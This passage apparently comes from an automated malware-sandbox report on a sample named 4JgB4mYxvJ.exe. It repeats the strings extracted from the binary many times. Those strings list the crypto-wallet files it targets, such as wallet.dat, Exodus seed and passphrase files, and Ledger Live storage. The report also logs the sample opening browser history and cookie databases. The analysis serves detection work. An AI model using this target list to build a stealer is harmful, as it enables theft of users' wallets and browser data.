Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 4JgB4mYxvJ.exe, 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\4JgB4mYxvJ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
